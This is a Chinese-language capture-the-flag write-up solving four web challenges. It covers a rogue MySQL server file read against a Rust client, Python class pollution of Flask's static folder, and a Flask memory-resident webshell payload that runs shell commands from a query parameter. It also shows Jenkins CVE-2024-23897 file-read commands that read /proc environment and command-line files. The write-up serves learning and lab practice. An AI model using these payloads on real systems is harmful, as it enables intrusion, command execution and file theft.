0xGameWeek4 Web全解
rogue_mysql
rust源代码给了一个连接mysql的功能
use actix_files::NamedFile;
use actix_web::{get, middleware::Logger, post, web, App, HttpServer, Responder};
use futures_core::future::BoxFuture;
use futures_util::FutureExt;
use mysql_async::{
prelude::{GlobalHandler, Queryable},
Conn, InfileData, LocalInfileError, OptsBuilder,
};
use serde::Deserialize;
use tokio::fs::File;
use tokio_util::io::ReaderStream;
struct UnsafeFsHandler;
impl GlobalHandler for UnsafeFsHandler {
fn handle(&self, file_name: &[u8]) -> BoxFuture<'static, Result<InfileData, LocalInfileError>> {
let path = String::from_utf8_lossy(file_name).to_string();
async move {
println!("reading file: {}", path);
let file = File::open(path).await?;
Ok(Box::pin(ReaderStream::new(file)) as InfileData)
}
.boxed()
}
}
#[derive(Deserialize)]
struct ConnInfo {
host: String,
port: u16,
user: String,
pass: String,
db: String,
query: String,
}
#[get("/")]
async fn index() -> impl Responder {
NamedFile::open("./public/index.html")
}
#[post("/connect")]
async fn connect(info: web::Json<ConnInfo>) -> Result<impl Responder, Box<dyn std::error::Error>> {
let conn_info = info.into_inner();
let opts = OptsBuilder::default()
.ip_or_hostname(conn_info.host)
.tcp_port(conn_info.port)
.user(Some(conn_info.user))
.pass(Some(conn_info.pass))
.db_name(Some(conn_info.db))
.local_infile_handler(Some(UnsafeFsHandler));
let mut conn = Conn::new(opts).await?;
let v: String = conn.query_first(conn_info.query).await?.unwrap();
Ok(v)
}
#[actix_web::main]
async fn main() -> std::io::Result<()> {
env_logger::init();
HttpServer::new(|| {
App::new()
.wrap(Logger::new(
r#"%{r}a "%r" %s %b "%{Referer}i" "%{User-Agent}i" %T"#,
))
.service(index)
.service(connect)
})
.bind(("0.0.0.0", 8000))?
.run()
.await
}
那么我们可以起一个恶意mysql服务,使用工具
http://roguemysql.challenge.exp10it.io/
命令如下读取flag
python3 main.py -l 0.0.0.0 -p 3307 -f /flag
然后连接即可
pollution
题目给了源码
from flask import Flask, request
import json
app = Flask(__name__)
'''
'''
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Dst():
def __init__(self):
pass
dst = Dst()
@app.route('/',methods=['GET','POST'])
def index():
if request.method=='GET':
return open("main.py").read()
merge(request.get_json(), dst)
return "Success"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
存在原型链污染,并且没有别的东西
我们考虑污染static目录到根目录即可访问flag
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
basic_pwn
app.py
from flask import Flask, request
app = Flask(__name__)
functions=globals()['__builtins__'].__dict__
@app.route('/', methods=['GET'])
def index():
return open(__file__).read()
@app.route('/pwn',methods=['POST'])
def pwn():
stack = []
stack.append('print')
name=request.get_json().get("name")
if not name:
return "Fail"
stack.extend(name)
args=stack.pop()
func=stack.pop()
functions[func](args)
return "Success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
通过调试发现可以传入数组来执行eval,直接打内存马
{"name":["eval","app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)"]}
Jenkins
Jenkins 未授权文件读取漏洞(CVE-2024-23897)
读取环境变量得到Jenkins目录
java -jar jenkins-cli.jar -s http://8.130.84.100:8080 connect-node "@ /proc/self/environ"
home=/var/jenkins_home
读取执行的命令发现flag
java -jar jenkins-cli.jar -s http://8.130.84.100:8080 connect-node "@/proc/1/cmdline"
ERROR: No such agent "/sbin/docker-init--/usr/bin/tini--/usr/local/bin/jenkins.sh/bin/sh-cecho '0xgame{2a6d2b88-7d12-4b66-901d-5ed489e9a322}' > /flag && /usr/local/bin/jenkins.sh" exists.
0 条评论
可输入 255 字